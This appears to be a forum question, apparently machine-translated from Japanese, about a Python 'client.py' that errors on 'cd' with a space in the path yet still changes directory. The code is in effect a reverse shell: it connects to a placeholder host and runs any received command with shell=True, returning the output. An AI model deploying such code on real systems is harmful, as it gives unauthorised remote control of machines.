import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
outputBytes = cmd.stdout.read() + cmd .stderr.read()
outputStr = str(outputBytes, "utf-8")
s.send(str.encode(outputStr + str(os.getcwd() + '> ')))
print (outputStr)
# Close connection
s.close()
私はpythonを使用してリモートクライアントサーバーアプリケーションを作成しようとしています。コードはディレクトリのエラーを変更しますが、ディレクトリは変更します
上記はclient.pyのコードです。すべてのコマンドが正常に動作していることです。私は
CD「スペースでディレクトリ名」
を使用する場合には、「指定したパスが見つかりません」私は、このエラーが発生します。しかし、それはまだディレクトリを変更します。私はまだそれがエラーを与えた後でもまだディレクトリを変更する理由はわかりません?